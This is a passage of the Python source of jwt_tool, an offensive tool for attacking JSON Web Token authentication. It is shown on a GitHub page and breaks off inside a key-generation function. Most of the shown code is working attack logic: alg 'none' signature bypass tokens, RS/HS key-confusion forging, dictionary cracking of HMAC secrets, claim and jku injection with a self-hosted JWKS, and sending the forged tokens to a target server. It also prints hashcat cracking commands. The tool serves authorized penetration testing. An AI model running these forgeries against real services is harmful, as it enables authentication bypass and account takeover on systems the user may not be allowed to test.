forked from ticarpi/jwt_tool
-
Notifications
You must be signed in to change notification settings - Fork 0
/
jwt_tool.py
2111 lines (2026 loc) · 97.8 KB
/
jwt_tool.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
#
# JWT_Tool version 2.2.6 (09_09_2022)
# Written by Andy Tyler (@ticarpi)
# Please use responsibly...
# Software URL: https://github.com/ticarpi/jwt_tool
# Web: https://www.ticarpi.com
# Twitter: @ticarpi
jwttoolvers = "2.2.6"
import ssl
import sys
import os
import re
import hashlib
import hmac
import base64
import json
import random
import argparse
from datetime import datetime
import configparser
from http.cookies import SimpleCookie
from collections import OrderedDict
try:
from Cryptodome.Signature import PKCS1_v1_5, DSS, pss
from Cryptodome.Hash import SHA256, SHA384, SHA512
from Cryptodome.PublicKey import RSA, ECC
except:
print("WARNING: Cryptodome libraries not imported - these are needed for asymmetric crypto signing and verifying")
print("On most Linux systems you can run the following command to install:")
print("python3 -m pip install pycryptodomex\n")
exit(1)
try:
from termcolor import cprint
except:
print("WARNING: termcolor library is not imported - this is used to make the output clearer and oh so pretty")
print("On most Linux systems you can run the following command to install:")
print("python3 -m pip install termcolor\n")
exit(1)
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except:
print("WARNING: Python Requests libraries not imported - these are needed for external service interaction")
print("On most Linux systems you can run the following command to install:")
print("python3 -m pip install requests\n")
exit(1)
# To fix broken colours in Windows cmd/Powershell: uncomment the below two lines. You will need to install colorama: 'python3 -m pip install colorama'
# import colorama
# colorama.init()
def cprintc(textval, colval):
if not args.bare:
cprint(textval, colval)
def createConfig():
privKeyName = path+"/jwttool_custom_private_RSA.pem"
pubkeyName = path+"/jwttool_custom_public_RSA.pem"
ecprivKeyName = path+"/jwttool_custom_private_EC.pem"
ecpubkeyName = path+"/jwttool_custom_public_EC.pem"
jwksName = path+"/jwttool_custom_jwks.json"
proxyHost = "127.0.0.1"
config = configparser.ConfigParser(allow_no_value=True)
config.optionxform = str
config['crypto'] = {'pubkey': pubkeyName,
'privkey': privKeyName,
'ecpubkey': ecpubkeyName,
'ecprivkey': ecprivKeyName,
'jwks': jwksName}
config['customising'] = {'useragent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) jwt_tool',
'jwks_kid': 'jwt_tool'}
if (os.path.isfile(privKeyName)) and (os.path.isfile(pubkeyName)) and (os.path.isfile(ecprivKeyName)) and (os.path.isfile(ecpubkeyName)) and (os.path.isfile(jwksName)):
cprintc("Found existing Public and Private Keys - using these...", "cyan")
origjwks = open(jwksName, "r").read()
jwks_b64 = base64.b64encode(origjwks.encode('ascii'))
else:
# gen RSA keypair
pubKey, privKey = newRSAKeyPair()
with open(privKeyName, 'w') as test_priv_out:
test_priv_out.write(privKey.decode())
with open(pubkeyName, 'w') as test_pub_out:
test_pub_out.write(pubKey.decode())
# gen EC keypair
ecpubKey, ecprivKey = newECKeyPair()
with open(ecprivKeyName, 'w') as ectest_priv_out:
ectest_priv_out.write(ecprivKey)
with open(ecpubkeyName, 'w') as ectest_pub_out:
ectest_pub_out.write(ecpubKey)
# gen jwks
new_key = RSA.importKey(pubKey)
n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big'))
e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big'))
jwksbuild = buildJWKS(n, e, "jwt_tool")
jwksout = {"keys": []}
jwksout["keys"].append(jwksbuild)
fulljwks = json.dumps(jwksout,separators=(",",":"), indent=4)
with open(jwksName, 'w') as test_jwks_out:
test_jwks_out.write(fulljwks)
jwks_b64 = base64.urlsafe_b64encode(fulljwks.encode('ascii'))
config['services'] = {'jwt_tool_version': jwttoolvers,
'# To disable the proxy option set this value to: False (no quotes). For Docker installations with a Windows host OS set this to: "host.docker.internal:8080"': None, 'proxy': proxyHost+':8080',
'# To disable following redirects set this value to: False (no quotes)': None, 'redir': 'True',
'# Set this to the URL you are hosting your custom JWKS file (jwttool_custom_jwks.json) - your own server, or maybe use this cheeky reflective URL (https://httpbin.org/base64/{base64-encoded_JWKS_here})': None,
'jwksloc': '',
'jwksdynamic': 'https://httpbin.org/base64/'+jwks_b64.decode(),
'# Set this to the base URL of a Collaborator server, somewhere you can read live logs, a Request Bin etc.': None, 'httplistener': ''}
config['input'] = {'wordlist': 'jwt-common.txt',
'commonHeaders': 'common-headers.txt',
'commonPayloads': 'common-payloads.txt'}
config['argvals'] = {'# Set at runtime - changes here are ignored': None,
'sigType': '',
'targetUrl': '',
'cookies': '',
'key': '',
'keyList': '',
'keyFile': '',
'headerLoc': '',
'payloadclaim': '',
'headerclaim': '',
'payloadvalue': '',
'headervalue': '',
'canaryvalue': '',
'header': '',
'exploitType': '',
'scanMode': '',
'reqMode': '',
'postData': '',
'resCode': '',
'resSize': '',
'resContent': ''}
with open(configFileName, 'w') as configfile:
config.write(configfile)
cprintc("Configuration file built - review contents of \"jwtconf.ini\" to customise your options.", "cyan")
cprintc("Make sure to set the \"httplistener\" value to a URL you can monitor to enable out-of-band checks.", "cyan")
exit(1)
def sendToken(token, cookiedict, track, headertoken="", postdata=None):
if not postdata:
postdata = config['argvals']['postData']
url = config['argvals']['targetUrl']
headers = {'User-agent': config['customising']['useragent']+" "+track}
if headertoken:
for eachHeader in headertoken:
headerName, headerVal = eachHeader.split(":",1)
headers[headerName] = headerVal.lstrip(" ")
try:
if config['services']['redir'] == "True":
redirBool = True
else:
redirBool = False
if config['services']['proxy'] == "False":
if postdata:
response = requests.post(url, data=postdata, headers=headers, cookies=cookiedict, proxies=False, verify=False, allow_redirects=redirBool)
else:
response = requests.get(url, headers=headers, cookies=cookiedict, proxies=False, verify=False, allow_redirects=redirBool)
else:
proxies = {'http': 'http://'+config['services']['proxy'], 'https': 'http://'+config['services']['proxy']}
if postdata:
response = requests.post(url, data=postdata, headers=headers, cookies=cookiedict, proxies=proxies, verify=False, allow_redirects=redirBool)
else:
response = requests.get(url, headers=headers, cookies=cookiedict, proxies=proxies, verify=False, allow_redirects=redirBool)
if int(response.elapsed.total_seconds()) >= 9:
cprintc("HTTP response took about 10 seconds or more - could be a sign of a bug or vulnerability", "cyan")
return [response.status_code, len(response.content), response.content]
except requests.exceptions.ProxyError as err:
cprintc("[ERROR] ProxyError - check proxy is up and not set to tamper with requests\n"+str(err), "red")
exit(1)
def parse_dict_cookies(value):
cookiedict = {}
for item in value.split(';'):
item = item.strip()
if not item:
continue
if '=' not in item:
cookiedict[item] = None
continue
name, value = item.split('=', 1)
cookiedict[name] = value
return cookiedict
def strip_dict_cookies(value):
cookiestring = ""
for item in value.split(';'):
if re.search('eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', item):
continue
else:
cookiestring += "; "+item
cookiestring = cookiestring.lstrip("; ")
return cookiestring
def jwtOut(token, fromMod, desc=""):
genTime = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
idFrag = genTime+str(token)
logID = "jwttool_"+hashlib.md5(idFrag.encode()).hexdigest()
if config['argvals']['targetUrl'] != "":
curTargetUrl = config['argvals']['targetUrl']
p = re.compile('eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*')
if config['argvals']['headerloc'] == "cookies":
cookietoken = p.subn(token, config['argvals']['cookies'], 0)
else:
cookietoken = [config['argvals']['cookies'],0]
if config['argvals']['headerloc'] == "headers":
headertoken = [[],0]
for eachHeader in args.headers:
try:
headerSub = p.subn(token, eachHeader, 0)
headertoken[0].append(headerSub[0])
if headerSub[1] == 1:
headertoken[1] = 1
except:
pass
else:
headertoken = [[],0]
if args.headers:
for eachHeader in args.headers:
headertoken[0].append(eachHeader)
if config['argvals']['headerloc'] == "postdata":
posttoken = p.subn(token, config['argvals']['postdata'], 0)
else:
posttoken = [config['argvals']['postdata'],0]
try:
cookiedict = parse_dict_cookies(cookietoken[0])
except:
cookiedict = {}
# Check if token was included in substitution
if cookietoken[1] == 1 or headertoken[1] == 1 or posttoken[1]:
resData = sendToken(token, cookiedict, logID, headertoken[0], posttoken[0])
else:
if config['argvals']['overridesub'] == "true":
resData = sendToken(token, cookiedict, logID, headertoken[0], posttoken[0])
else:
cprintc("[-] No substitution occurred - check that a token is included in a cookie/header in the request", "red")
# cprintc(headertoken, cookietoken, "cyan")
exit(1)
if config['argvals']['canaryvalue']:
if config['argvals']['canaryvalue'] in str(resData[2]):
cprintc("[+] FOUND \""+config['argvals']['canaryvalue']+"\" in response:\n"+logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "green")
else:
cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "cyan")
else:
if 200 <= resData[0] < 300:
cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "green")
elif 300 <= resData[0] < 400:
cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "cyan")
elif 400 <= resData[0] < 600:
cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "red")
else:
if desc != "":
cprintc(logID+" - "+desc, "cyan")
if not args.bare:
cprintc("[+] "+token, "green")
else:
print(token)
curTargetUrl = "Not sent"
additional = "[Commandline request: "+' '.join(sys.argv[0:])+']'
setLog(token, genTime, logID, fromMod, curTargetUrl, additional)
try:
config['argvals']['rescode'],config['argvals']['ressize'],config['argvals']['rescontent'] = str(resData[0]),str(resData[1]),str(resData[2])
except:
pass
def setLog(jwt, genTime, logID, modulename, targetURL, additional):
logLine = genTime+" | "+modulename+" | "+targetURL+" | "+additional
with open(logFilename, 'a') as logFile:
logFile.write(logID+" - "+logLine+" - "+jwt+"\n")
return logID
def buildHead(alg, headDict):
newHead = headDict
newHead["alg"] = alg
newHead = base64.urlsafe_b64encode(json.dumps(newHead,separators=(",",":")).encode()).decode('UTF-8').strip("=")
return newHead
def checkNullSig(contents):
jwtNull = contents.decode()+"."
return jwtNull
def checkAlgNone(headDict, paylB64):
alg1 = "none"
newHead1 = buildHead(alg1, headDict)
CVEToken0 = newHead1+"."+paylB64+"."
alg = "None"
newHead = buildHead(alg, headDict)
CVEToken1 = newHead+"."+paylB64+"."
alg = "NONE"
newHead = buildHead(alg, headDict)
CVEToken2 = newHead+"."+paylB64+"."
alg = "nOnE"
newHead = buildHead(alg, headDict)
CVEToken3 = newHead+"."+paylB64+"."
return [CVEToken0, CVEToken1, CVEToken2, CVEToken3]
def checkPubKeyExploit(headDict, paylB64, pubKey):
try:
key = open(pubKey).read()
cprintc("File loaded: "+pubKey, "cyan")
except:
cprintc("[-] File not found", "red")
exit(1)
newHead = headDict
newHead["alg"] = "HS256"
newHead = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
newTok = newHead+"."+paylB64
newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newTok.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=")
return newTok, newSig
def injectpayloadclaim(payloadclaim, injectionvalue):
newpaylDict = paylDict
newpaylDict[payloadclaim] = castInput(injectionvalue)
newPaylB64 = base64.urlsafe_b64encode(json.dumps(newpaylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
return newpaylDict, newPaylB64
def injectheaderclaim(headerclaim, injectionvalue):
newheadDict = headDict
newheadDict[headerclaim] = castInput(injectionvalue)
newHeadB64 = base64.urlsafe_b64encode(json.dumps(newheadDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
return newheadDict, newHeadB64
def tamperToken(paylDict, headDict, sig):
cprintc("\n====================================================================\nThis option allows you to tamper with the header, contents and \nsignature of the JWT.\n====================================================================", "white")
cprintc("\nToken header values:", "white")
while True:
i = 0
headList = [0]
for pair in headDict:
menuNum = i+1
if isinstance(headDict[pair], dict):
cprintc("["+str(menuNum)+"] "+pair+" = JSON object:", "green")
for subclaim in headDict[pair]:
cprintc(" [+] "+subclaim+" = "+str(headDict[pair][subclaim]), "green")
else:
if type(headDict[pair]) == str:
cprintc("["+str(menuNum)+"] "+pair+" = \""+str(headDict[pair])+"\"", "green")
else:
cprintc("["+str(menuNum)+"] "+pair+" = "+str(headDict[pair]), "green")
headList.append(pair)
i += 1
cprintc("["+str(i+1)+"] *ADD A VALUE*", "white")
cprintc("["+str(i+2)+"] *DELETE A VALUE*", "white")
cprintc("[0] Continue to next step", "white")
selection = ""
cprintc("\nPlease select a field number:\n(or 0 to Continue)", "white")
try:
selection = int(input("> "))
except:
cprintc("Invalid selection", "red")
exit(1)
if selection<len(headList) and selection>0:
if isinstance(headDict[headList[selection]], dict):
cprintc("\nPlease select a sub-field number for the "+pair+" claim:\n(or 0 to Continue)", "white")
newVal = OrderedDict()
for subclaim in headDict[headList[selection]]:
newVal[subclaim] = headDict[pair][subclaim]
newVal = buildSubclaim(newVal, headList, selection)
headDict[headList[selection]] = newVal
else:
cprintc("\nCurrent value of "+headList[selection]+" is: "+str(headDict[headList[selection]]), "white")
cprintc("Please enter new value and hit ENTER", "white")
newVal = input("> ")
headDict[headList[selection]] = castInput(newVal)
elif selection == i+1:
cprintc("Please enter new Key and hit ENTER", "white")
newPair = input("> ")
cprintc("Please enter new value for "+newPair+" and hit ENTER", "white")
newInput = input("> ")
headList.append(newPair)
headDict[headList[selection]] = castInput(newInput)
elif selection == i+2:
cprintc("Please select a Key to DELETE and hit ENTER", "white")
i = 0
for pair in headDict:
menuNum = i+1
cprintc("["+str(menuNum)+"] "+pair+" = "+str(headDict[pair]), "white")
headList.append(pair)
i += 1
try:
delPair = int(input("> "))
except:
cprintc("Invalid selection", "red")
exit(1)
del headDict[headList[delPair]]
elif selection == 0:
break
else:
exit(1)
cprintc("\nToken payload values:", "white")
while True:
comparestamps, expiredtoken = dissectPayl(paylDict, count=True)
i = 0
paylList = [0]
for pair in paylDict:
menuNum = i+1
paylList.append(pair)
i += 1
cprintc("["+str(i+1)+"] *ADD A VALUE*", "white")
cprintc("["+str(i+2)+"] *DELETE A VALUE*", "white")
if len(comparestamps) > 0:
cprintc("["+str(i+3)+"] *UPDATE TIMESTAMPS*", "white")
cprintc("[0] Continue to next step", "white")
selection = ""
cprintc("\nPlease select a field number:\n(or 0 to Continue)", "white")
try:
selection = int(input("> "))
except:
cprintc("Invalid selection", "red")
exit(1)
if selection<len(paylList) and selection>0:
if isinstance(paylDict[paylList[selection]], dict):
cprintc("\nPlease select a sub-field number for the "+str(paylList[selection])+" claim:\n(or 0 to Continue)", "white")
newVal = OrderedDict()
for subclaim in paylDict[paylList[selection]]:
newVal[subclaim] = paylDict[paylList[selection]][subclaim]
newVal = buildSubclaim(newVal, paylList, selection)
paylDict[paylList[selection]] = newVal
else:
cprintc("\nCurrent value of "+paylList[selection]+" is: "+str(paylDict[paylList[selection]]), "white")
cprintc("Please enter new value and hit ENTER", "white")
newVal = input("> ")
paylDict[paylList[selection]] = castInput(newVal)
elif selection == i+1:
cprintc("Please enter new Key and hit ENTER", "white")
newPair = input("> ")
cprintc("Please enter new value for "+newPair+" and hit ENTER", "white")
newVal = input("> ")
try:
newVal = int(newVal)
except:
pass
paylList.append(newPair)
paylDict[paylList[selection]] = castInput(newVal)
elif selection == i+2:
cprintc("Please select a Key to DELETE and hit ENTER", "white")
i = 0
for pair in paylDict:
menuNum = i+1
cprintc("["+str(menuNum)+"] "+pair+" = "+str(paylDict[pair]), "white")
paylList.append(pair)
i += 1
delPair = eval(input("> "))
del paylDict[paylList[delPair]]
elif selection == i+3:
cprintc("Timestamp updating:", "white")
cprintc("[1] Update earliest timestamp to current time (keeping offsets)", "white")
cprintc("[2] Add 1 hour to timestamps", "white")
cprintc("[3] Add 1 day to timestamps", "white")
cprintc("[4] Remove 1 hour from timestamps", "white")
cprintc("[5] Remove 1 day from timestamps", "white")
cprintc("\nPlease select an option from above (1-5):", "white")
try:
selection = int(input("> "))
except:
cprintc("Invalid selection", "red")
exit(1)
if selection == 1:
nowtime = int(datetime.now().timestamp())
timecomp = {}
for timestamp in comparestamps:
timecomp[timestamp] = paylDict[timestamp]
earliest = min(timecomp, key=timecomp.get)
earlytime = paylDict[earliest]
for timestamp in comparestamps:
if timestamp == earliest:
paylDict[timestamp] = nowtime
else:
difftime = int(paylDict[timestamp])-int(earlytime)
paylDict[timestamp] = nowtime+difftime
elif selection == 2:
for timestamp in comparestamps:
newVal = int(paylDict[timestamp])+3600
paylDict[timestamp] = newVal
elif selection == 3:
for timestamp in comparestamps:
newVal = int(paylDict[timestamp])+86400
paylDict[timestamp] = newVal
elif selection == 4:
for timestamp in comparestamps:
newVal = int(paylDict[timestamp])-3600
paylDict[timestamp] = newVal
elif selection == 5:
for timestamp in comparestamps:
newVal = int(paylDict[timestamp])-86400
paylDict[timestamp] = newVal
else:
cprintc("Invalid selection", "red")
exit(1)
elif selection == 0:
break
else:
exit(1)
if config['argvals']['sigType'] == "" and config['argvals']['exploitType'] == "":
cprintc("Signature unchanged - no signing method specified (-S or -X)", "cyan")
newContents = genContents(headDict, paylDict)
desc = "Tampered token:"
jwtOut(newContents+"."+sig, "Manual Tamper - original signature", desc)
elif config['argvals']['exploitType'] != "":
runExploits()
elif config['argvals']['sigType'] != "":
signingToken(headDict, paylDict)
def signingToken(newheadDict, newpaylDict):
if config['argvals']['sigType'][0:2] == "hs":
key = ""
if args.password:
key = config['argvals']['key']
elif args.keyfile:
key = open(config['argvals']['keyFile']).read()
newSig, newContents = signTokenHS(newheadDict, newpaylDict, key, int(config['argvals']['sigType'][2:]))
desc = "Tampered token - HMAC Signing:"
jwtOut(newContents+"."+newSig, "Manual Tamper - HMAC Signing", desc)
elif config['argvals']['sigType'][0:2] == "rs":
newSig, newContents = signTokenRSA(newheadDict, newpaylDict, config['crypto']['privkey'], int(config['argvals']['sigType'][2:]))
desc = "Tampered token - RSA Signing:"
jwtOut(newContents+"."+newSig, "Manual Tamper - RSA Signing", desc)
elif config['argvals']['sigType'][0:2] == "es":
newSig, newContents = signTokenEC(newheadDict, newpaylDict, config['crypto']['ecprivkey'], int(config['argvals']['sigType'][2:]))
desc = "Tampered token - EC Signing:"
jwtOut(newContents+"."+newSig, "Manual Tamper - EC Signing", desc)
elif config['argvals']['sigType'][0:2] == "ps":
newSig, newContents = signTokenPSS(newheadDict, newpaylDict, config['crypto']['privkey'], int(config['argvals']['sigType'][2:]))
desc = "Tampered token - PSS RSA Signing:"
jwtOut(newContents+"."+newSig, "Manual Tamper - PSS RSA Signing", desc)
def checkSig(sig, contents, key):
quiet = False
if key == "":
cprintc("Type in the key to test", "white")
key = input("> ")
testKey(key.encode(), sig, contents, headDict, quiet)
def checkSigKid(sig, contents):
quiet = False
cprintc("\nLoading key file...", "cyan")
try:
key1 = open(config['argvals']['keyFile']).read()
cprintc("File loaded: "+config['argvals']['keyFile'], "cyan")
testKey(key1.encode(), sig, contents, headDict, quiet)
except:
cprintc("Could not load key file", "red")
exit(1)
def crackSig(sig, contents):
quiet = True
if headDict["alg"][0:2] != "HS":
cprintc("Algorithm is not HMAC-SHA - cannot test against passwords, try the Verify function.", "red")
return
# print("\nLoading key dictionary...")
try:
# cprintc("File loaded: "+config['argvals']['keyList'], "cyan")
keyLst = open(config['argvals']['keyList'], "r", encoding='utf-8', errors='ignore')
nextKey = keyLst.readline()
except:
cprintc("No dictionary file loaded", "red")
exit(1)
# print("Testing passwords in dictionary...")
utf8errors = 0
wordcount = 0
while nextKey:
wordcount += 1
try:
cracked = testKey(nextKey.strip().encode('UTF-8'), sig, contents, headDict, quiet)
except:
cracked = False
if not cracked:
if wordcount % 1000000 == 0:
cprintc("[*] Tested "+str(int(wordcount/1000000))+" million passwords so far", "cyan")
try:
nextKey = keyLst.readline()
except:
utf8errors += 1
nextKey = keyLst.readline()
else:
return
if cracked == False:
cprintc("[-] Key not in dictionary", "red")
if not args.mode:
cprintc("\n===============================\nAs your list wasn't able to crack this token you might be better off using longer dictionaries, custom dictionaries, mangling rules, or brute force attacks.\nhashcat (https://hashcat.net/hashcat/) is ideal for this as it is highly optimised for speed. Just add your JWT to a text file, then use the following syntax to give you a good start:\n\n[*] dictionary attacks: hashcat -a 0 -m 16500 jwt.txt passlist.txt\n[*] rule-based attack: hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule\n[*] brute-force attack: hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6\n===============================\n", "cyan")
if utf8errors > 0:
cprintc(utf8errors, " UTF-8 incompatible passwords skipped", "cyan")
def castInput(newInput):
if "{" in str(newInput):
try:
jsonInput = json.loads(newInput)
return jsonInput
except ValueError:
pass
if "\"" in str(newInput):
return newInput.strip("\"")
elif newInput == "True" or newInput == "true":
return True
elif newInput == "False" or newInput == "false":
return False
elif newInput == "null":
return None
else:
try:
numInput = float(newInput)
try:
intInput = int(newInput)
return intInput
except:
return numInput
except:
return str(newInput)
return newInput
def buildSubclaim(newVal, claimList, selection):
while True:
subList = [0]
s = 0
for subclaim in newVal:
subNum = s+1
cprintc("["+str(subNum)+"] "+subclaim+" = "+str(newVal[subclaim]), "white")
s += 1
subList.append(subclaim)
cprintc("["+str(s+1)+"] *ADD A VALUE*", "white")
cprintc("["+str(s+2)+"] *DELETE A VALUE*", "white")
cprintc("[0] Continue to next step", "white")
try:
subSel = int(input("> "))
except:
cprintc("Invalid selection", "red")
exit(1)
if subSel<=len(newVal) and subSel>0:
selClaim = subList[subSel]
cprintc("\nCurrent value of "+selClaim+" is: "+str(newVal[selClaim]), "white")
cprintc("Please enter new value and hit ENTER", "white")
newVal[selClaim] = castInput(input("> "))
cprintc("", "white")
elif subSel == s+1:
cprintc("Please enter new Key and hit ENTER", "white")
newPair = input("> ")
cprintc("Please enter new value for "+newPair+" and hit ENTER", "white")
newVal[newPair] = castInput(input("> "))
elif subSel == s+2:
cprintc("Please select a Key to DELETE and hit ENTER", "white")
s = 0
for subclaim in newVal:
subNum = s+1
cprintc("["+str(subNum)+"] "+subclaim+" = "+str(newVal[subclaim]), "white")
subList.append(subclaim)
s += 1
try:
selSub = int(input("> "))
except:
cprintc("Invalid selection", "red")
exit(1)
delSub = subList[selSub]
del newVal[delSub]
elif subSel == 0:
return newVal
def testKey(key, sig, contents, headDict, quiet):
if headDict["alg"] == "HS256":
testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha256).digest()).decode('UTF-8').strip("=")
elif headDict["alg"] == "HS384":
testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha384).digest()).decode('UTF-8').strip("=")
elif headDict["alg"] == "HS512":
testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha512).digest()).decode('UTF-8').strip("=")
else:
cprintc("Algorithm is not HMAC-SHA - cannot test with this tool.", "red")
exit(1)
if testSig == sig:
cracked = True
if len(key) > 25:
cprintc("[+] CORRECT key found:\n"+key.decode('UTF-8'), "green")
else:
cprintc("[+] "+key.decode('UTF-8')+" is the CORRECT key!", "green")
cprintc("You can tamper/fuzz the token contents (-T/-I) and sign it using:\npython3 jwt_tool.py [options here] -S "+str(headDict["alg"]).lower()+" -p \""+key.decode('UTF-8')+"\"", "cyan")
return cracked
else:
cracked = False
if quiet == False:
if len(key) > 25:
cprintc("[-] "+key[0:25].decode('UTF-8')+"...(output trimmed) is not the correct key", "red")
else:
cprintc("[-] "+key.decode('UTF-8')+" is not the correct key", "red")
return cracked
def getRSAKeyPair():
#config['crypto']['pubkey'] = config['crypto']['pubkey']
privkey = config['crypto']['privkey']
cprintc("key: "+privkey, "cyan")
privKey = RSA.importKey(open(privkey).read())
pubKey = privKey.publickey().exportKey("PEM")
#config['crypto']['pubkey'] = RSA.importKey(config['crypto']['pubkey'])
return pubKey, privKey
def newRSAKeyPair():
new_key = RSA.generate(2048, e=65537)
pubKey = new_key.publickey().exportKey("PEM")
privKey = new_key.exportKey("PEM")
return pubKey, privKey
def newECKeyPair():
new_key = ECC.generate(curve='P-256')
pubkey = new_key.public_key().export_key(format="PEM")
privKey = new_key.export_key(format="PEM")
return pubkey, privKey
def signTokenHS(headDict, paylDict, key, hashLength):
newHead = headDict
newHead["alg"] = "HS"+str(hashLength)
if hashLength == 384:
newContents = genContents(newHead, paylDict)
newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha384).digest()).decode('UTF-8').strip("=")
elif hashLength == 512:
newContents = genContents(newHead, paylDict)
newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha512).digest()).decode('UTF-8').strip("=")
else:
newContents = genContents(newHead, paylDict)
newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=")
return newSig, newContents
def buildJWKS(n, e, kid):
newjwks = {}
newjwks["kty"] = "RSA"
newjwks["kid"] = kid
newjwks["use"] = "sig"
newjwks["e"] = str(e.decode('UTF-8'))
newjwks["n"] = str(n.decode('UTF-8').rstrip("="))
return newjwks
def jwksGen(headDict, paylDict, jku, privKey, kid="jwt_tool"):
newHead = headDict
nowtime = str(int(datetime.now().timestamp()))
key = RSA.importKey(open(config['crypto']['privkey']).read())
pubKey = key.publickey().exportKey("PEM")
privKey = key.export_key(format="PEM")
new_key = RSA.importKey(pubKey)
n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big'))
e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big'))
privKeyName = config['crypto']['privkey']
newjwks = buildJWKS(n, e, kid)
newHead["jku"] = jku
newHead["alg"] = "RS256"
key = RSA.importKey(privKey)
newContents = genContents(newHead, paylDict)
